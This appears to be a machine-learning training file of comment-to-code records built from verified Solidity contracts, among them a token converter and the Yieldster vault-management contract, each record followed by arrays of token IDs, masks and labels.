-100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x5dFE942a8B781ACdfe06EE55DAEf06B9FaB86aF8/sources/contracts/Staking.sol
unix timestamp when the user created
uint256 createdAt;
9,666,892
[ 1, 21136, 2858, 1347, 326, 729, 2522, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 202, 11890, 5034, 26083, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/42/0xce75428062389938C67b1B29bddb4d2AB51172c4/sources/Dollar.sol
distribute penalty if more than one dollar
function boostRewardStream() external returns (uint256) { require(streamRewardBoosted(msg.sender) < Constants.getPoolExitMaxBoost(), "Pool: max boost reached"); releaseReward(); uint256 unreleased = unreleasedRewardAmount(msg.sender); uint256 penalty = Decimal.from(unreleased) .mul(Constants.getPoolExitBoostPenalty()) .asUint256(); uint256 timeleft = Decimal.from(streamedRewardUntil(msg.sender).sub(blockTimestamp())) .div(Constants.getPoolExitBoostCoefficient()) .asUint256(); setStream( streamReward(msg.sender), unreleased.sub(penalty), timeleft ); incrementBoostCounter(streamReward(msg.sender)); dollar().burn(penalty); dao().distributePenalty(penalty); balanceCheck(); emit StreamBoostReward(msg.sender, penalty); return penalty; }
3,409,380
[ 1, 2251, 887, 23862, 309, 1898, 2353, 1245, 302, 25442, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 14994, 17631, 1060, 1228, 1435, 3903, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 2583, 12, 3256, 17631, 1060, 26653, 329, 12, 3576, 18, 15330, 13, 411, 5245, 18, 588, 2864, 6767, 2747, 26653, 9334, 315, 2864, 30, 943, 14994, 8675, 8863, 203, 203, 3639, 3992, 17631, 1060, 5621, 203, 203, 3639, 2254, 5034, 640, 9340, 72, 273, 640, 9340, 72, 17631, 1060, 6275, 12, 3576, 18, 15330, 1769, 203, 3639, 2254, 5034, 23862, 273, 11322, 18, 2080, 12, 318, 9340, 72, 13, 203, 4766, 565, 263, 16411, 12, 2918, 18, 588, 2864, 6767, 26653, 24251, 15006, 10756, 203, 4766, 565, 263, 345, 5487, 5034, 5621, 203, 3639, 2254, 5034, 1658, 6516, 1222, 273, 11322, 18, 2080, 12, 3256, 329, 17631, 1060, 9716, 12, 3576, 18, 15330, 2934, 1717, 12, 2629, 4921, 1435, 3719, 203, 4766, 565, 263, 2892, 12, 2918, 18, 588, 2864, 6767, 26653, 4249, 25403, 10756, 203, 4766, 565, 263, 345, 5487, 5034, 5621, 203, 203, 3639, 444, 1228, 12, 203, 5411, 1407, 17631, 1060, 12, 3576, 18, 15330, 3631, 203, 5411, 640, 9340, 72, 18, 1717, 12, 1907, 15006, 3631, 203, 5411, 1658, 6516, 1222, 203, 3639, 11272, 203, 3639, 5504, 26653, 4789, 12, 3256, 17631, 1060, 12, 3576, 18, 15330, 10019, 203, 203, 3639, 302, 25442, 7675, 70, 321, 12, 1907, 15006, 1769, 203, 203, 3639, 15229, 7675, 2251, 887, 24251, 15006, 12, 1907, 15006, 1769, 203, 203, 3639, 11013, 1564, 5621, 203, 203, 3639, 3626, 3961, 26653, 17631, 1060, 12, 3576, 18, 15330, 16, 23862, 1769, 2 ]
//Address: 0x69e5da6904f73dfa845648e1991ad1dcc780f874 //Contract name: SWTConverter //Balance: 0 Ether //Verification Date: 1/24/2017 //Transacion Count: 829 // CODE STARTS HERE pragma solidity ^0.4.6; /* MiniMeToken contract taken from https://github.com/Giveth/minime/ */ /// @dev The token controller contract must implement these functions contract TokenController { /// @notice Called when `_owner` sends ether to the MiniMe Token contract /// @param _owner The address that sent the ether to create tokens /// @return True if the ether is accepted, false if it throws function proxyPayment(address _owner) payable returns(bool); /// @notice Notifies the controller about a token transfer allowing the /// controller to react if desired /// @param _from The origin of the transfer /// @param _to The destination of the transfer /// @param _amount The amount of the transfer /// @return False if the controller does not authorize the transfer function onTransfer(address _from, address _to, uint _amount) returns(bool); /// @notice Notifies the controller about an approval allowing the /// controller to react if desired /// @param _owner The address that calls `approve()` /// @param _spender The spender in the `approve()` call /// @param _amount The amount in the `approve()` call /// @return False if the controller does not authorize the approval function onApprove(address _owner, address _spender, uint _amount) returns(bool); } // Minime interface contract MiniMeToken { /// @notice Generates `_amount` tokens that are assigned to `_owner` /// @param _owner The address that will be assigned the new tokens /// @param _amount The quantity of tokens generated /// @return True if the tokens are generated correctly function generateTokens(address _owner, uint _amount ) returns (bool); } // Taken from Zeppelin's standard contracts. contract ERC20 { uint public totalSupply; function balanceOf(address who) constant returns (uint); function allowance(address owner, address spender) constant returns (uint); function transfer(address to, uint value) returns (bool ok); function transferFrom(address from, address to, uint value) returns (bool ok); function approve(address spender, uint value) returns (bool ok); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract SWTConverter is TokenController { MiniMeToken public tokenContract; // The new token ERC20 public arcToken; // The ARC token address function SWTConverter( address _tokenAddress, // the new MiniMe token address address _arctokenaddress // the original ARC token address ) { tokenContract = MiniMeToken(_tokenAddress); // The Deployed Token Contract arcToken = ERC20(_arctokenaddress); } ///////////////// // TokenController interface ///////////////// function proxyPayment(address _owner) payable returns(bool) { return false; } /// @notice Notifies the controller about a transfer, for this SWTConverter all /// transfers are allowed by default and no extra notifications are needed /// @param _from The origin of the transfer /// @param _to The destination of the transfer /// @param _amount The amount of the transfer /// @return False if the controller does not authorize the transfer function onTransfer(address _from, address _to, uint _amount) returns(bool) { return true; } /// @notice Notifies the controller about an approval, for this SWTConverter all /// approvals are allowed by default and no extra notifications are needed /// @param _owner The address that calls `approve()` /// @param _spender The spender in the `approve()` call /// @param _amount The amount in the `approve()` call /// @return False if the controller does not authorize the approval function onApprove(address _owner, address _spender, uint _amount) returns(bool) { return true; } /// @notice converts ARC tokens to new SWT tokens and forwards ARC to the vault address. /// @param _amount The amount of ARC to convert to SWT function convert(uint _amount){ // transfer ARC to the vault address. caller needs to have an allowance from // this controller contract for _amount before calling this or the transferFrom will fail. if (!arcToken.transferFrom(msg.sender, 0x0, _amount)) { throw; } // mint new SWT tokens if (!tokenContract.generateTokens(msg.sender, _amount)) { throw; } } }
The ARC token address
ERC20 public arcToken;
5,441,118
[ 1, 1986, 6052, 39, 1147, 1758, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 4232, 39, 3462, 1071, 8028, 1345, 31, 9079, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// File: contracts/interfaces/IPriceModule.sol // SPDX-License-Identifier: MIT pragma solidity >=0.5.0 <0.7.0; pragma experimental ABIEncoderV2; interface IPriceModule { function getUSDPrice(address ) external view returns(uint256); } // File: contracts/aps/APContract.sol // SPDX-License-Identifier: MIT pragma solidity >=0.5.0 <0.7.0; // pragma experimental ABIEncoderV2; contract APContract { address public yieldsterDAO; address public yieldsterTreasury; address public yieldsterGOD; address public emergencyVault; address public yieldsterExchange; address public stringUtils; address public whitelistModule; address public whitelistManager; address public proxyFactory; address public priceModule; address public platFormManagementFee; address public profitManagementFee; address public stockDeposit; address public stockWithdraw; address public safeMinter; address public safeUtils; address public oneInch; struct Asset{ string name; string symbol; bool created; } struct Protocol{ string name; string symbol; bool created; } struct Vault { mapping(address => bool) vaultAssets; mapping(address => bool) vaultDepositAssets; mapping(address => bool) vaultWithdrawalAssets; mapping(address => bool) vaultEnabledStrategy; address depositStrategy; address withdrawStrategy; address vaultAPSManager; address vaultStrategyManager; uint256[] whitelistGroup; bool created; } struct VaultActiveStrategy { mapping(address => bool) isActiveStrategy; mapping(address => uint256) activeStrategyIndex; address[] activeStrategyList; } struct Strategy{ string strategyName; mapping(address => bool) strategyProtocols; bool created; address minter; address executor; address benefeciary; uint256 managementFeePercentage; } struct SmartStrategy{ string smartStrategyName; address minter; address executor; bool created; } struct vaultActiveManagemetFee { mapping(address => bool) isActiveManagementFee; mapping(address => uint256) activeManagementFeeIndex; address[] activeManagementFeeList; } event VaultCreation(address vaultAddress); mapping(address => vaultActiveManagemetFee) managementFeeStrategies; mapping(address => mapping(address => mapping(address => bool))) vaultStrategyEnabledProtocols; mapping(address => VaultActiveStrategy) vaultActiveStrategies; mapping(address => Asset) assets; mapping(address => Protocol) protocols; mapping(address => Vault) vaults; mapping(address => Strategy) strategies; mapping(address => SmartStrategy) smartStrategies; mapping(address => address) safeOwner; mapping(address => bool) APSManagers; mapping(address => address) minterStrategyMap; constructor( address _whitelistModule, address _platformManagementFee, address _profitManagementFee, address _stringUtils, address _yieldsterExchange, address _oneInch, address _priceModule, address _safeUtils ) public { yieldsterDAO = msg.sender; yieldsterTreasury = msg.sender; yieldsterGOD = msg.sender; emergencyVault = msg.sender; APSManagers[msg.sender] = true; whitelistModule = _whitelistModule; platFormManagementFee = _platformManagementFee; stringUtils = _stringUtils; yieldsterExchange = _yieldsterExchange; oneInch = _oneInch; priceModule = _priceModule; safeUtils = _safeUtils; profitManagementFee = _profitManagementFee; } /// @dev Function to add proxy Factory address to Yieldster. /// @param _proxyFactory Address of proxy factory. function addProxyFactory(address _proxyFactory) public onlyManager { proxyFactory = _proxyFactory; } function setProfitAndPlatformManagementFeeStrategies(address _platformManagement,address _profitManagement) public onlyYieldsterDAO { if (_profitManagement != address(0)) profitManagementFee = _profitManagement; if (_platformManagement != address(0)) platFormManagementFee = _platformManagement; } //Modifiers modifier onlyYieldsterDAO{ require(yieldsterDAO == msg.sender, "Only Yieldster DAO is allowed to perform this operation"); _; } modifier onlyManager{ require(APSManagers[msg.sender], "Only APS managers allowed to perform this operation!"); _; } modifier onlySafeOwner{ require(safeOwner[msg.sender] == tx.origin, "Only safe Owner can perform this operation"); _; } function isVault( address _address) public view returns(bool){ return vaults[_address].created; } /// @dev Function to add APS manager to Yieldster. /// @param _manager Address of the manager. function addManager(address _manager) public onlyYieldsterDAO { APSManagers[_manager] = true; } /// @dev Function to remove APS manager from Yieldster. /// @param _manager Address of the manager. function removeManager(address _manager) public onlyYieldsterDAO { APSManagers[_manager] = false; } /// @dev Function to change whitelist Manager. /// @param _whitelistManager Address of the whitelist manager. function changeWhitelistManager(address _whitelistManager) public onlyYieldsterDAO { whitelistManager = _whitelistManager; } /// @dev Function to set Yieldster GOD. /// @param _yieldsterGOD Address of the Yieldster GOD. function setYieldsterGOD(address _yieldsterGOD) public { require(msg.sender == yieldsterGOD, "Only Yieldster GOD can perform this operation"); yieldsterGOD = _yieldsterGOD; } /// @dev Function to disable Yieldster GOD. function disableYieldsterGOD() public { require(msg.sender == yieldsterGOD, "Only Yieldster GOD can perform this operation"); yieldsterGOD = address(0); } /// @dev Function to set Emergency vault. /// @param _emergencyVault Address of the Yieldster Emergency vault. function setEmergencyVault(address _emergencyVault) onlyYieldsterDAO public { emergencyVault = _emergencyVault; } /// @dev Function to set Safe Minter. /// @param _safeMinter Address of the Safe Minter. function setSafeMinter(address _safeMinter) onlyYieldsterDAO public { safeMinter = _safeMinter; } /// @dev Function to set safeUtils contract. /// @param _safeUtils Address of the safeUtils contract. function setSafeUtils(address _safeUtils) onlyYieldsterDAO public { safeUtils = _safeUtils; } /// @dev Function to set oneInch address. /// @param _oneInch Address of the oneInch. function setOneInch(address _oneInch) onlyYieldsterDAO public { oneInch = _oneInch; } /// @dev Function to get strategy address from minter. /// @param _minter Address of the minter. function getStrategyFromMinter(address _minter) external view returns(address) { return minterStrategyMap[_minter]; } /// @dev Function to set Yieldster Exchange. /// @param _yieldsterExchange Address of the Yieldster exchange. function setYieldsterExchange(address _yieldsterExchange) onlyYieldsterDAO public { yieldsterExchange = _yieldsterExchange; } /// @dev Function to set stock Deposit and Withdraw. /// @param _stockDeposit Address of the stock deposit contract. /// @param _stockWithdraw Address of the stock withdraw contract. function setStockDepositWithdraw(address _stockDeposit, address _stockWithdraw) onlyYieldsterDAO public { stockDeposit = _stockDeposit; stockWithdraw = _stockWithdraw; } /// @dev Function to change the APS Manager for a vault. /// @param _vaultAPSManager Address of the new APS Manager. function changeVaultAPSManager(address _vaultAPSManager) external { require(vaults[msg.sender].created, "Vault is not present"); vaults[msg.sender].vaultAPSManager = _vaultAPSManager; } /// @dev Function to change the Strategy Manager for a vault. /// @param _vaultStrategyManager Address of the new Strategy Manager. function changeVaultStrategyManager(address _vaultStrategyManager) external { require(vaults[msg.sender].created, "Vault is not present"); vaults[msg.sender].vaultStrategyManager = _vaultStrategyManager; } //Price Module /// @dev Function to set Yieldster price module. /// @param _priceModule Address of the price module. function setPriceModule(address _priceModule) public onlyManager { priceModule = _priceModule; } /// @dev Function to get the USD price for a token. /// @param _tokenAddress Address of the token. function getUSDPrice(address _tokenAddress) public view returns(uint256) { require(_isAssetPresent(_tokenAddress),"Asset not present!"); return IPriceModule(priceModule).getUSDPrice(_tokenAddress); } //Vaults /// @dev Function to create a vault. /// @param _owner Address of the owner of the vault. /// @param _vaultAddress Address of the new vault. function createVault(address _owner, address _vaultAddress) public { require(msg.sender == proxyFactory, "Only Proxy Factory can perform this operation"); safeOwner[_vaultAddress] = _owner; } /// @dev Function to add a vault in the APS. /// @param _vaultAPSManager Address of the vaults APS Manager. /// @param _vaultStrategyManager Address of the vaults Strateg Manager. /// @param _whitelistGroup List of whitelist groups applied to the vault. /// @param _owner Address of the vault owner. function addVault( address _vaultAPSManager, address _vaultStrategyManager, uint256[] memory _whitelistGroup, address _owner ) public { require(safeOwner[msg.sender] == _owner, "Only owner can call this function"); Vault memory newVault = Vault( { vaultAPSManager : _vaultAPSManager, vaultStrategyManager : _vaultStrategyManager, whitelistGroup : _whitelistGroup, depositStrategy: stockDeposit, withdrawStrategy: stockWithdraw, created : true }); vaults[msg.sender] = newVault; //applying Platform management fee managementFeeStrategies[msg.sender].isActiveManagementFee[platFormManagementFee] = true; managementFeeStrategies[msg.sender].activeManagementFeeIndex[platFormManagementFee] = managementFeeStrategies[msg.sender].activeManagementFeeList.length; managementFeeStrategies[msg.sender].activeManagementFeeList.push(platFormManagementFee); //applying Profit management fee managementFeeStrategies[msg.sender].isActiveManagementFee[profitManagementFee] = true; managementFeeStrategies[msg.sender].activeManagementFeeIndex[profitManagementFee] = managementFeeStrategies[msg.sender].activeManagementFeeList.length; managementFeeStrategies[msg.sender].activeManagementFeeList.push(profitManagementFee); } /// @dev Function to Manage the vault assets. /// @param _enabledDepositAsset List of deposit assets to be enabled in the vault. /// @param _enabledWithdrawalAsset List of withdrawal assets to be enabled in the vault. /// @param _disabledDepositAsset List of deposit assets to be disabled in the vault. /// @param _disabledWithdrawalAsset List of withdrawal assets to be disabled in the vault. function setVaultAssets( address[] memory _enabledDepositAsset, address[] memory _enabledWithdrawalAsset, address[] memory _disabledDepositAsset, address[] memory _disabledWithdrawalAsset ) public { require(vaults[msg.sender].created, "Vault not present"); for (uint256 i = 0; i < _enabledDepositAsset.length; i++) { address asset = _enabledDepositAsset[i]; require(_isAssetPresent(asset), "Asset not supported by Yieldster"); vaults[msg.sender].vaultAssets[asset] = true; vaults[msg.sender].vaultDepositAssets[asset] = true; } for (uint256 i = 0; i < _enabledWithdrawalAsset.length; i++) { address asset = _enabledWithdrawalAsset[i]; require(_isAssetPresent(asset), "Asset not supported by Yieldster"); vaults[msg.sender].vaultAssets[asset] = true; vaults[msg.sender].vaultWithdrawalAssets[asset] = true; } for (uint256 i = 0; i < _disabledDepositAsset.length; i++) { address asset = _disabledDepositAsset[i]; require(_isAssetPresent(asset), "Asset not supported by Yieldster"); vaults[msg.sender].vaultAssets[asset] = false; vaults[msg.sender].vaultDepositAssets[asset] = false; } for (uint256 i = 0; i < _disabledWithdrawalAsset.length; i++) { address asset = _disabledWithdrawalAsset[i]; require(_isAssetPresent(asset), "Asset not supported by Yieldster"); vaults[msg.sender].vaultAssets[asset] = false; vaults[msg.sender].vaultWithdrawalAssets[asset] = false; } } /// @dev Function to get the list of management fee strategies applied to the vault. function getVaultManagementFee() public view returns(address[] memory) { require(vaults[msg.sender].created, "Vault not present"); return managementFeeStrategies[msg.sender].activeManagementFeeList; } /// @dev Function to get the deposit strategy applied to the vault. function getDepositStrategy() public view returns(address) { require(vaults[msg.sender].created, "Vault not present"); return vaults[msg.sender].depositStrategy; } /// @dev Function to get the withdrawal strategy applied to the vault. function getWithdrawStrategy() public view returns(address) { require(vaults[msg.sender].created, "Vault not present"); return vaults[msg.sender].withdrawStrategy; } /// @dev Function to set the management fee strategies applied to a vault. /// @param _vaultAddress Address of the vault. /// @param _managementFeeAddress Address of the management fee strategy. function setManagementFeeStrategies(address _vaultAddress, address _managementFeeAddress) public { require(vaults[_vaultAddress].created, "Vault not present"); require(vaults[_vaultAddress].vaultStrategyManager == msg.sender, "Sender not Authorized"); managementFeeStrategies[_vaultAddress].isActiveManagementFee[_managementFeeAddress] = true; managementFeeStrategies[_vaultAddress].activeManagementFeeIndex[_managementFeeAddress] = managementFeeStrategies[_vaultAddress].activeManagementFeeList.length; managementFeeStrategies[_vaultAddress].activeManagementFeeList.push(_managementFeeAddress); } /// @dev Function to deactivate a vault strategy. /// @param _managementFeeAddress Address of the Management Fee Strategy. function removeManagementFeeStrategies(address _vaultAddress, address _managementFeeAddress) public { require(vaults[_vaultAddress].created, "Vault not present"); require(managementFeeStrategies[_vaultAddress].isActiveManagementFee[_managementFeeAddress], "Provided ManagementFee is not active"); require(vaults[_vaultAddress].vaultStrategyManager == msg.sender || yieldsterDAO == msg.sender, "Sender not Authorized"); require(platFormManagementFee != _managementFeeAddress || yieldsterDAO == msg.sender,"Platfrom Management only changable by dao!"); managementFeeStrategies[_vaultAddress].isActiveManagementFee[_managementFeeAddress] = false; if(managementFeeStrategies[_vaultAddress].activeManagementFeeList.length == 1) { managementFeeStrategies[_vaultAddress].activeManagementFeeList.pop(); } else { uint256 index = managementFeeStrategies[_vaultAddress].activeManagementFeeIndex[_managementFeeAddress]; uint256 lastIndex = managementFeeStrategies[_vaultAddress].activeManagementFeeList.length - 1; delete managementFeeStrategies[_vaultAddress].activeManagementFeeList[index]; managementFeeStrategies[_vaultAddress].activeManagementFeeIndex[managementFeeStrategies[_vaultAddress].activeManagementFeeList[lastIndex]] = index; managementFeeStrategies[_vaultAddress].activeManagementFeeList[index] = managementFeeStrategies[_vaultAddress].activeManagementFeeList[lastIndex]; managementFeeStrategies[_vaultAddress].activeManagementFeeList.pop(); } } /// @dev Function to set vault active strategy. /// @param _strategyAddress Address of the strategy. function setVaultActiveStrategy(address _strategyAddress) public { require(vaults[msg.sender].created, "Vault not present"); require(strategies[_strategyAddress].created, "Strategy not present"); vaultActiveStrategies[msg.sender].isActiveStrategy[_strategyAddress] = true; vaultActiveStrategies[msg.sender].activeStrategyIndex[_strategyAddress] = vaultActiveStrategies[msg.sender].activeStrategyList.length; vaultActiveStrategies[msg.sender].activeStrategyList.push(_strategyAddress); } /// @dev Function to deactivate a vault strategy. /// @param _strategyAddress Address of the strategy. function deactivateVaultStrategy(address _strategyAddress) public { require(vaults[msg.sender].created, "Vault not present"); require(vaultActiveStrategies[msg.sender].isActiveStrategy[_strategyAddress], "Provided strategy is not active"); vaultActiveStrategies[msg.sender].isActiveStrategy[_strategyAddress] = false; if(vaultActiveStrategies[msg.sender].activeStrategyList.length == 1) { vaultActiveStrategies[msg.sender].activeStrategyList.pop(); } else { uint256 index = vaultActiveStrategies[msg.sender].activeStrategyIndex[_strategyAddress]; uint256 lastIndex = vaultActiveStrategies[msg.sender].activeStrategyList.length - 1; delete vaultActiveStrategies[msg.sender].activeStrategyList[index]; vaultActiveStrategies[msg.sender].activeStrategyIndex[vaultActiveStrategies[msg.sender].activeStrategyList[lastIndex]] = index; vaultActiveStrategies[msg.sender].activeStrategyList[index] = vaultActiveStrategies[msg.sender].activeStrategyList[lastIndex]; vaultActiveStrategies[msg.sender].activeStrategyList.pop(); } } /// @dev Function to get vault active strategy. function getVaultActiveStrategy(address _vaultAddress) public view returns(address[] memory) { require(vaults[_vaultAddress].created, "Vault not present"); return vaultActiveStrategies[_vaultAddress].activeStrategyList; } function isStrategyActive(address _vaultAddress, address _strategyAddress) public view returns(bool) { return vaultActiveStrategies[_vaultAddress].isActiveStrategy[_strategyAddress]; } function getStrategyManagementDetails(address _vaultAddress, address _strategyAddress) public view returns(address, uint256) { require(vaults[_vaultAddress].created, "Vault not present"); require(strategies[_strategyAddress].created, "Strategy not present"); require(vaultActiveStrategies[_vaultAddress].isActiveStrategy[_strategyAddress], "Strategy not Active"); return (strategies[_strategyAddress].benefeciary, strategies[_strategyAddress].managementFeePercentage); } /// @dev Function to Manage the vault strategies. /// @param _vaultStrategy Address of the strategy. /// @param _enabledStrategyProtocols List of protocols that are enabled in the strategy. /// @param _disabledStrategyProtocols List of protocols that are disabled in the strategy. /// @param _assetsToBeEnabled List of assets that have to be enabled along with the strategy. function setVaultStrategyAndProtocol( address _vaultStrategy, address[] memory _enabledStrategyProtocols, address[] memory _disabledStrategyProtocols, address[] memory _assetsToBeEnabled ) public { require(vaults[msg.sender].created, "Vault not present"); require(strategies[_vaultStrategy].created, "Strategy not present"); vaults[msg.sender].vaultEnabledStrategy[_vaultStrategy] = true; for (uint256 i = 0; i < _enabledStrategyProtocols.length; i++) { address protocol = _enabledStrategyProtocols[i]; require(_isProtocolPresent(protocol), "Protocol not supported by Yieldster"); vaultStrategyEnabledProtocols[msg.sender][_vaultStrategy][protocol] = true; } for (uint256 i = 0; i < _disabledStrategyProtocols.length; i++) { address protocol = _disabledStrategyProtocols[i]; 